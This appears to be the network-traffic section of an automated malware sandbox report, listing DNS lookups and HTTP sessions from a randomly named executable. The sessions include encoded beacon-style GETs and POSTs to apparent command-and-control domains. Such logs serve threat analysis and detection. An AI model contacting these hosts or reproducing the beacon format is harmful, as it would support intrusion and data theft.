Jul 3, 2024 17:56:50.814649105 CEST	192.168.2.6	1.1.1.1	0x3ebb	Standard query (0)	www.mengistiebethlehem.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:57:04.752461910 CEST	192.168.2.6	1.1.1.1	0xd954	Standard query (0)	www.ad14.fun	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:57:18.157937050 CEST	192.168.2.6	1.1.1.1	0xf577	Standard query (0)	www.epicbazaarhub.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:57:31.877427101 CEST	192.168.2.6	1.1.1.1	0x4a8e	Standard query (0)	www.rz6grmvv.shop	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:57:46.158896923 CEST	192.168.2.6	1.1.1.1	0xd8ec	Standard query (0)	www.hellokong.xyz	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:57:59.440041065 CEST	192.168.2.6	1.1.1.1	0xa159	Standard query (0)	www.architect-usschool.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:58:13.018013000 CEST	192.168.2.6	1.1.1.1	0x4641	Standard query (0)	www.easybackpage.net	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:58:26.508449078 CEST	192.168.2.6	1.1.1.1	0x6e34	Standard query (0)	www.superunicornpalace.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:58:41.862185955 CEST	192.168.2.6	1.1.1.1	0x9980	Standard query (0)	www.tedjp-x.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:58:42.874016047 CEST	192.168.2.6	1.1.1.1	0x9980	Standard query (0)	www.tedjp-x.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:58:56.504539967 CEST	192.168.2.6	1.1.1.1	0xafa4	Standard query (0)	www.3cubesinterior.in	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:59:16.424881935 CEST	192.168.2.6	1.1.1.1	0x14cb	Standard query (0)	www.artvectorcraft.store	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:59:29.923494101 CEST	192.168.2.6	1.1.1.1	0xcd5a	Standard query (0)	www.macklaer.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:59:38.252311945 CEST	192.168.2.6	1.1.1.1	0x1830	Standard query (0)	www.hondamechanic.today	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 3, 2024 17:56:35.040492058 CEST	1.1.1.1	192.168.2.6	0x8a30	No error (0)	www.fondazionegtech.org	sitestudio.it		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 17:56:35.040492058 CEST	1.1.1.1	192.168.2.6	0x8a30	No error (0)	sitestudio.it		89.31.76.10	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:56:51.050762892 CEST	1.1.1.1	192.168.2.6	0x3ebb	No error (0)	www.mengistiebethlehem.com		208.91.197.13	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:57:04.769181967 CEST	1.1.1.1	192.168.2.6	0xd954	No error (0)	www.ad14.fun		188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:57:04.769181967 CEST	1.1.1.1	192.168.2.6	0xd954	No error (0)	www.ad14.fun		188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:57:18.650569916 CEST	1.1.1.1	192.168.2.6	0xf577	No error (0)	www.epicbazaarhub.com	epicbazaarhub.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 17:57:18.650569916 CEST	1.1.1.1	192.168.2.6	0xf577	No error (0)	epicbazaarhub.com		192.185.208.8	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:57:32.602283001 CEST	1.1.1.1	192.168.2.6	0x4a8e	No error (0)	www.rz6grmvv.shop		121.254.178.230	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:57:46.189277887 CEST	1.1.1.1	192.168.2.6	0xd8ec	No error (0)	www.hellokong.xyz		203.161.49.220	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:57:59.456058979 CEST	1.1.1.1	192.168.2.6	0xa159	No error (0)	www.architect-usschool.com		217.160.0.84	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:58:13.061901093 CEST	1.1.1.1	192.168.2.6	0x4641	No error (0)	www.easybackpage.net	parkingpage.namecheap.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 17:58:13.061901093 CEST	1.1.1.1	192.168.2.6	0x4641	No error (0)	parkingpage.namecheap.com		91.195.240.19	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:58:27.186599016 CEST	1.1.1.1	192.168.2.6	0x6e34	No error (0)	www.superunicornpalace.com	superunicornpalace.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 17:58:27.186599016 CEST	1.1.1.1	192.168.2.6	0x6e34	No error (0)	superunicornpalace.com		144.208.124.10	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:58:42.876082897 CEST	1.1.1.1	192.168.2.6	0x9980	No error (0)	www.tedjp-x.com		162.43.101.114	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:58:42.880778074 CEST	1.1.1.1	192.168.2.6	0x9980	No error (0)	www.tedjp-x.com		162.43.101.114	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:58:56.899667025 CEST	1.1.1.1	192.168.2.6	0xafa4	No error (0)	www.3cubesinterior.in	3cubesinterior.in		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 17:58:56.899667025 CEST	1.1.1.1	192.168.2.6	0xafa4	No error (0)	3cubesinterior.in		45.113.122.18	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:59:16.636112928 CEST	1.1.1.1	192.168.2.6	0x14cb	No error (0)	www.artvectorcraft.store	ghs.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 17:59:16.636112928 CEST	1.1.1.1	192.168.2.6	0x14cb	No error (0)	ghs.google.com		142.250.74.211	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:59:30.187005997 CEST	1.1.1.1	192.168.2.6	0xcd5a	Server failure (2)	www.macklaer.com	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:59:38.278227091 CEST	1.1.1.1	192.168.2.6	0x1830	No error (0)	www.hondamechanic.today		64.190.62.22	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.fondazionegtech.org

www.mengistiebethlehem.com

www.ad14.fun

www.epicbazaarhub.com

www.rz6grmvv.shop

www.hellokong.xyz

www.architect-usschool.com

www.easybackpage.net

www.superunicornpalace.com

www.tedjp-x.com

www.3cubesinterior.in

www.artvectorcraft.store

www.hondamechanic.today

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49724	89.31.76.10	80	6800	C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:56:35.053853035 CEST	352	OUT	GET /jmiz/?Y6vp=3PLd8j&OdjTHtuX=FlIs+r8zH5IdzVyrxFdSYjESHC6F8ED2JjV8fIhoTiEGriidwWKKTvYGFckMGyNztz9f5I1p/5DHHhHlE1nDIZgKO5qXvVh1+gwmyYcA+2CCaGrmZckpjuvJQ96WUy8TtzIG0Do= HTTP/1.1 Accept: / Accept-Language: en-US,en;q=0.9 Connection: close Host: www.fondazionegtech.org User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Jul 3, 2024 17:56:35.766567945 CEST	1236	IN	HTTP/1.1 301 Moved Permanently Server: openresty Date: Wed, 03 Jul 2024 15:56:35 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1082 Connection: close Cache-Control: max-age=0, private, must-revalidate, max-age=0, must-revalidate, no-cache, no-store, private Location: https://www.fondazionegtech.org/jmiz/?OdjTHtuX=FlIs%20r8zH5IdzVyrxFdSYjESHC6F8ED2JjV8fIhoTiEGriidwWKKTvYGFckMGyNztz9f5I1p%2F5DHHhHlE1nDIZgKO5qXvVh1%20gwmyYcA%202CCaGrmZckpjuvJQ96WUy8TtzIG0Do%3D&Y6vp=3PLd8j Pragma: no-cache Expires: Wed, 03 Jul 2024 15:56:35 GMT X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Age: 0 X-Cache: MISS X-BKSrc: 0.3 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 6f 6e 64 61 7a 69 6f 6e 65 67 74 65 63 68 2e 6f 72 67 2f 6a 6d 69 7a 2f 3f 4f 64 6a 54 48 74 75 58 3d 46 6c 49 73 25 32 30 72 38 7a 48 35 49 64 7a 56 79 72 78 46 64 53 59 6a 45 53 48 43 36 46 38 45 44 32 4a 6a 56 38 66 49 68 6f 54 69 45 47 72 69 69 64 77 57 4b 4b 54 76 59 47 46 63 6b 4d 47 79 4e 7a 74 7a 39 66 35 49 31 70 25 32 46 35 44 48 48 68 48 6c 45 31 6e 44 49 5a 67 4b 4f 35 71 58 76 56 68 31 25 32 30 67 77 6d 79 59 63 41 25 32 30 32 43 43 61 47 72 6d 5a 63 6b 70 6a 75 76 4a 51 39 36 57 55 79 38 54 74 7a 49 47 30 44 6f 25 33 44 26 61 6d 70 3b 59 36 76 70 3d 33 50 4c 64 38 6a 27 22 20 2f 3e 0a 0a 20 20 20 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content="0;url='https://www.fondazionegtech.org/jmiz/?OdjTHtuX=FlIs%20r8zH5IdzVyrxFdSYjESHC6F8ED2JjV8fIhoTiEGriidwWKKTvYGFckMGyNztz9f5I1p%2F5DHHhHlE1nDIZgKO5qXvVh1%20gwmyYcA%202CCaGrmZckpjuvJQ96WUy8TtzIG0Do%3D&Y6vp=3PLd8j'" /> <title>Redirecting to https://www.fondazionegtech.org/jmiz/?OdjTHtuX=FlIs%20r8zH5IdzVyrxFdSYjESHC6F8ED2JjV8fIhoTiEGriidwWKKTvYGFckMGyNztz9f5I1p%2F5DHHhHlE1nDIZgKO5qXvVh1%20gwmyYcA%202CCaGrmZckpjuvJQ96WUy8TtzIG0Do%3D&Y6vp=3PLd8j</tit
Jul 3, 2024 17:56:35.766640902 CEST	504	IN	Data Raw: 6c 65 3e 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 20 20 20 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 6f 6e 64 61 7a 69 6f 6e 65 67 Data Ascii: le> </head> <body> Redirecting to <a href="https://www.fondazionegtech.org/jmiz/?OdjTHtuX=FlIs%20r8zH5IdzVyrxFdSYjESHC6F8ED2JjV8fIhoTiEGriidwWKKTvYGFckMGyNztz9f5I1p%2F5DHHhHlE1nDIZgKO5qXvVh1%20gwmyYcA%202CCaGrmZckpjuvJQ96WUy8Tt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49727	208.91.197.13	80	6800	C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:56:51.064060926 CEST	632	OUT	POST /92z0/ HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cache-Control: max-age=0 Content-Length: 213 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.mengistiebethlehem.com Origin: http://www.mengistiebethlehem.com Referer: http://www.mengistiebethlehem.com/92z0/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Data Raw: 4f 64 6a 54 48 74 75 58 3d 4c 65 4a 41 30 41 61 6c 79 6c 37 66 7a 6a 68 30 51 6d 2f 39 39 4d 72 45 4a 50 50 7a 71 78 44 4b 30 31 43 64 70 62 77 42 4f 6a 65 6f 58 56 74 76 31 6d 52 76 69 75 63 6d 2f 4e 7a 39 63 65 78 42 31 4f 79 54 54 58 6b 57 4d 53 64 62 39 56 37 41 75 78 49 44 59 4b 6b 2b 37 2f 4c 6b 33 6f 61 6a 63 31 69 2f 34 38 67 32 2b 31 47 53 41 2f 4d 6e 7a 6c 54 44 46 6d 73 76 6a 32 71 4a 4b 73 6d 42 55 47 49 4c 38 76 55 64 47 53 39 55 66 68 32 69 37 39 54 70 45 31 32 34 42 58 65 75 61 57 32 4b 51 78 69 41 54 5a 31 30 2f 44 71 73 6d 32 43 63 6f 75 64 57 52 63 31 71 47 45 37 66 4f 69 6b 43 42 6a 74 78 54 4b 63 73 33 38 52 73 Data Ascii: OdjTHtuX=LeJA0Aalyl7fzjh0Qm/99MrEJPPzqxDK01CdpbwBOjeoXVtv1mRviucm/Nz9cexB1OyTTXkWMSdb9V7AuxIDYKk+7/Lk3oajc1i/48g2+1GSA/MnzlTDFmsvj2qJKsmBUGIL8vUdGS9Ufh2i79TpE124BXeuaW2KQxiATZ10/Dqsm2CcoudWRc1qGE7fOikCBjtxTKcs38Rs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49728	208.91.197.13	80	6800	C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:56:53.603334904 CEST	656	OUT	POST /92z0/ HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cache-Control: max-age=0 Content-Length: 237 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.mengistiebethlehem.com Origin: http://www.mengistiebethlehem.com Referer: http://www.mengistiebethlehem.com/92z0/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Data Raw: 4f 64 6a 54 48 74 75 58 3d 4c 65 4a 41 30 41 61 6c 79 6c 37 66 78 41 70 30 44 52 54 39 31 4d 72 44 46 76 50 7a 67 52 44 4f 30 31 65 64 70 61 6b 76 4f 56 4f 6f 57 30 78 76 6e 58 52 76 6a 75 63 6d 72 64 7a 34 53 2b 77 4e 31 4f 2f 6d 54 53 45 57 4d 57 31 62 39 51 2f 41 76 44 67 45 43 36 6b 34 7a 66 4c 31 70 59 61 6a 63 31 69 2f 34 38 30 63 2b 31 65 53 41 50 38 6e 31 41 2f 4d 4c 47 73 6f 6b 32 71 4a 42 4d 6d 46 55 47 4a 6f 38 75 49 33 47 51 46 55 66 68 47 69 37 73 54 75 4e 31 32 2b 4c 33 65 34 64 69 76 2f 64 42 76 7a 62 37 5a 69 71 30 75 6b 75 67 44 47 30 64 64 31 44 4d 56 6f 47 47 6a 74 4f 43 6b 6f 44 6a 56 78 42 64 51 4c 34 49 30 50 6c 74 48 69 54 6f 2f 4e 62 37 5a 55 56 6a 35 4a 6f 45 57 68 67 67 3d 3d Data Ascii: OdjTHtuX=LeJA0Aalyl7fxAp0DRT91MrDFvPzgRDO01edpakvOVOoW0xvnXRvjucmrdz4S+wN1O/mTSEWMW1b9Q/AvDgEC6k4zfL1pYajc1i/480c+1eSAP8n1A/MLGsok2qJBMmFUGJo8uI3GQFUfhGi7sTuN12+L3e4div/dBvzb7Ziq0ukugDG0dd1DMVoGGjtOCkoDjVxBdQL4I0PltHiTo/Nb7ZUVj5JoEWhgg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49729	208.91.197.13	80	6800	C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:56:56.134558916 CEST	1669	OUT	POST /92z0/ HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cache-Control: max-age=0 Content-Length: 1249 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.mengistiebethlehem.com Origin: http://www.mengistiebethlehem.com Referer: http://www.mengistiebethlehem.com/92z0/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Data Raw: 4f 64 6a 54 48 74 75 58 3d 4c 65 4a 41 30 41 61 6c 79 6c 37 66 78 41 70 30 44 52 54 39 31 4d 72 44 46 76 50 7a 67 52 44 4f 30 31 65 64 70 61 6b 76 4f 56 47 6f 57 47 56 76 31 45 70 76 78 2b 63 6d 33 74 7a 35 53 2b 77 45 31 4f 33 71 54 53 41 67 4d 51 78 62 2b 32 44 41 37 6e 30 45 4d 4b 6b 34 78 66 4b 79 33 6f 62 33 63 31 53 37 34 2f 4d 63 2b 31 65 53 41 4d 6b 6e 69 46 54 4d 47 6d 73 76 6a 32 72 49 4b 73 6d 39 55 46 34 54 38 75 4d 4e 48 6a 4e 55 47 46 69 69 38 65 37 75 52 6c 32 38 4d 33 66 37 64 6e 33 57 64 42 79 41 62 37 42 49 71 7a 6d 6b 2b 6b 50 62 6f 76 5a 76 58 75 4d 49 65 33 44 63 4b 30 55 34 44 6c 4a 4f 4a 2f 41 76 31 4c 77 7a 75 39 66 48 54 6f 71 33 4f 36 52 49 61 6a 41 6f 68 77 53 72 2b 56 45 66 6c 79 36 44 53 46 2b 6e 70 42 53 45 4c 30 72 63 69 62 41 7a 41 76 64 41 45 2b 4d 49 39 58 4f 2b 4c 47 37 2b 58 4d 58 6b 50 78 37 68 68 71 76 69 67 33 45 2b 2b 37 34 79 30 6a 65 7a 62 46 31 6c 79 51 4d 4e 46 51 6a 5a 59 50 67 51 41 33 32 4a 4f 64 66 36 42 52 38 41 51 58 2f 53 75 6f 6f 64 53 39 6b 6e 68 [TRUNCATED] Data Ascii: OdjTHtuX=LeJA0Aalyl7fxAp0DRT91MrDFvPzgRDO01edpakvOVGoWGVv1Epvx+cm3tz5S+wE1O3qTSAgMQxb+2DA7n0EMKk4xfKy3ob3c1S74/Mc+1eSAMkniFTMGmsvj2rIKsm9UF4T8uMNHjNUGFii8e7uRl28M3f7dn3WdByAb7BIqzmk+kPbovZvXuMIe3DcK0U4DlJOJ/Av1Lwzu9fHToq3O6RIajAohwSr+VEfly6DSF+npBSEL0rcibAzAvdAE+MI9XO+LG7+XMXkPx7hhqvig3E++74y0jezbF1lyQMNFQjZYPgQA32JOdf6BR8AQX/SuoodS9knhLn604lxTvPpJu48Ztq/89YyBGLGonDUd/Z/dL2mn+wERBcQ8VB0b8LUUp3SqiRXQrNxzjStBejpW7Jn19YJJc08Ouvcp6iYcodht2F2i4Ed6FqL7r0g8Rb7yuVGrtyWjgdEe/d+Yo2BZ4zZ1f0nl3+Pap0gHieXw96vG/f9sQT+sEf7ahHqxHew9A1YMXaQ5+OFAb7pxlMbIKvR51RGjAXbi4Xmg6AIetdMNgR1SS001JWFZlzppdqG7FVZIMiPkWePVPuF/HzbRgD5mZM6y4l78Moyh05WN7qedfJKxMdnSO8v+pI8cNWlrP8RTaq6Uy0W/3uxJ7d4mPzGttcQKqWMkrEfb4+FZpTl9i7WXzuRC+ZfuE8Ja5PyBc9k+dQFlcePFSvaV8jYUbDtc2/jjTmKfBnQV69g7YfBpeiNMNBzK+v4yKC3hRhQ0viw32kXwd9o5pzl459QGtAjHXcQ3LkXLQ/1tSWBCnTX0oE/cx/xWaufRrw9QjT+yKoRhlvYK90UPuZReVrlQfyqZaKf0jJs5WV8oZo6gkAbd7lOb7SMhPqH602T2DxbzPY1d6R9EZEFJuUWqxIJ1VYOaYdHbu3hYrM97loJt9o6cuirlU0WkrD+vD+T/Udg0hlzK2qukty5pNjC5y8QmNxCTvW6JCUzA7lgXyc4Eox [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49730	208.91.197.13	80	6800	C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:56:58.668369055 CEST	355	OUT	GET /92z0/?OdjTHtuX=Gchg326o6RWN/XFADw/V4eD2MO3apSP8yQOPkbolGTbWXGJL1kFLipwvr6KFDeoH1MC+XiIJPCdl50bZjywkZNBk97uFxrq9QGi9z8UXs1GhAfMLlFrOVkcHu0q9EP6WPl8Zh5k=&Y6vp=3PLd8j HTTP/1.1 Accept: / Accept-Language: en-US,en;q=0.9 Connection: close Host: www.mengistiebethlehem.com User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Jul 3, 2024 17:56:59.619030952 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 15:56:49 GMT Server: Apache Set-Cookie: vsid=925vr467567809662474819; expires=Mon, 02-Jul-2029 15:56:49 GMT; Max-Age=157680000; path=/; domain=www.mengistiebethlehem.com; HttpOnly X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_EVkxnguzMv9Akqf/ch/CimlLaYBOfPYIJ1fRy0Es9A/5+vR5iOrIm1eOstGxJwvgY3jSXwVkbrZBkV8ac+TJ9w== Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Connection: close Data Raw: 38 66 35 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 65 6c 69 76 65 72 79 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 74 61 79 69 6e 69 66 72 61 6d 65 20 3d 20 31 3b 20 77 69 6e 64 6f 77 2e 63 6d 70 5f 64 6f 6e 74 6c 6f 61 64 69 6e 69 66 72 61 6d 65 20 3d 20 74 72 75 65 3b 20 69 66 28 [TRUNCATED] Data Ascii: 8f53<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><link rel="preconnect" href="https://delivery.consentmanager.net"> <link rel="preconnect" href="https://cdn.consentmanager.net"> <script>window.cmp_stayiniframe = 1; window.cmp_dontloadiniframe = true; if(!"gdprAppliesGlobally" in window){window.gdprAppliesGlobally=true}if(!("cmp_id" in window)\|\|window.cmp_id<1){window.cmp_id=0}if(!("cmp_cdid" in window)){window.cmp_cdid="21fdca2281833"}if(!("cmp_params" in window)){window.cmp_params=""}if(!("cmp_host" in window)){window.cmp_host="a.delivery.consentmanager.net"}if(!("cmp_cdn" in window)){window.cmp_cd
Jul 3, 2024 17:56:59.619214058 CEST	1236	IN	Data Raw: 6e 3d 22 63 64 6e 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 7d 69 66 28 21 28 22 63 6d 70 5f 70 72 6f 74 6f 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 70 72 6f 74 6f 3d 22 68 74 74 70 73 3a 22 7d Data Ascii: n="cdn.consentmanager.net"}if(!("cmp_proto" in window)){window.cmp_proto="https:"}if(!("cmp_codesrc" in window)){window.cmp_codesrc="1"}window.cmp_getsupportedLangs=function(){var b=["DE","EN","FR","IT","NO","DA","FI","ES","PT","RO","BG","ET",
Jul 3, 2024 17:56:59.619229078 CEST	1236	IN	Data Raw: 70 65 72 43 61 73 65 28 29 29 7d 65 6c 73 65 7b 69 66 28 22 63 6d 70 5f 73 65 74 6c 61 6e 67 22 20 69 6e 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 65 74 6c 61 6e 67 21 3d 22 22 29 7b 63 2e 70 75 73 68 28 77 69 6e 64 6f 77 2e Data Ascii: perCase())}else{if("cmp_setlang" in window&&window.cmp_setlang!=""){c.push(window.cmp_setlang.toUpperCase())}else{if(a.length>0){for(var d=0;d<a.length;d++){c.push(a[d])}}}}}if("language" in navigator){c.push(navigator.language)}if("userLangua
Jul 3, 2024 17:56:59.619788885 CEST	1236	IN	Data Raw: 20 68 29 3f 68 2e 63 6d 70 5f 70 72 6f 74 6f 3a 22 68 74 74 70 73 3a 22 3b 69 66 28 6b 21 3d 22 68 74 74 70 3a 22 26 26 6b 21 3d 22 68 74 74 70 73 3a 22 29 7b 6b 3d 22 68 74 74 70 73 3a 22 7d 76 61 72 20 67 3d 28 22 63 6d 70 5f 72 65 66 22 20 69 Data Ascii: h)?h.cmp_proto:"https:";if(k!="http:"&&k!="https:"){k="https:"}var g=("cmp_ref" in h)?h.cmp_ref:location.href;var j=u.createElement("script");j.setAttribute("data-cmp-ab","1");var c=x("cmpdesign","cmp_design" in h?h.cmp_design:"");var f=x("cm
Jul 3, 2024 17:56:59.619805098 CEST	859	IN	Data Raw: 7b 74 5b 30 5d 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6a 29 7d 7d 7d 76 61 72 20 6d 3d 22 6a 73 22 3b 76 61 72 20 70 3d 78 28 22 63 6d 70 64 65 62 75 67 75 6e 6d 69 6e 69 6d 69 7a 65 64 22 2c 22 63 6d 70 64 65 62 75 67 75 6e 6d 69 6e 69 6d 69 7a Data Ascii: {t[0].appendChild(j)}}}var m="js";var p=x("cmpdebugunminimized","cmpdebugunminimized" in h?h.cmpdebugunminimized:0)>0?"":".min";var a=x("cmpdebugcoverage","cmp_debugcoverage" in h?h.cmp_debugcoverage:"");if(a=="1"){m="instrumented";p=""}var j=
Jul 3, 2024 17:56:59.619818926 CEST	1236	IN	Data Raw: 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 3b 69 66 28 22 63 6d 70 5f 63 64 6e 22 20 69 6e 20 77 69 6e 64 6f 77 26 26 22 63 6d 70 5f 75 6c 74 72 61 62 6c 6f 63 6b 69 6e 67 22 20 69 6e 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 63 6d 70 5f Data Ascii: ="display:none";if("cmp_cdn" in window&&"cmp_ultrablocking" in window&&window.cmp_ultrablocking>0){a.src="//"+window.cmp_cdn+"/delivery/empty.html"}a.name=b;a.setAttribute("title","Intentionally hidden, please ignore");a.setAttribute("role","n
Jul 3, 2024 17:56:59.619828939 CEST	224	IN	Data Raw: 6d 70 2e 61 2e 70 75 73 68 28 5b 5d 2e 73 6c 69 63 65 2e 61 70 70 6c 79 28 61 29 29 7d 65 6c 73 65 7b 69 66 28 61 2e 6c 65 6e 67 74 68 3d 3d 34 26 26 61 5b 33 5d 3d 3d 3d 66 61 6c 73 65 29 7b 61 5b 32 5d 28 7b 7d 2c 66 61 6c 73 65 29 7d 65 6c 73 Data Ascii: mp.a.push([].slice.apply(a))}else{if(a.length==4&&a[3]===false){a[2]({},false)}else{__cmp.a.push([].slice.apply(a))}}}}}}};window.cmp_gpp_ping=function(){return{gppVersion:"1.0",cmpStatus:"stub",cmpDisplayStatus:"hidden",sup
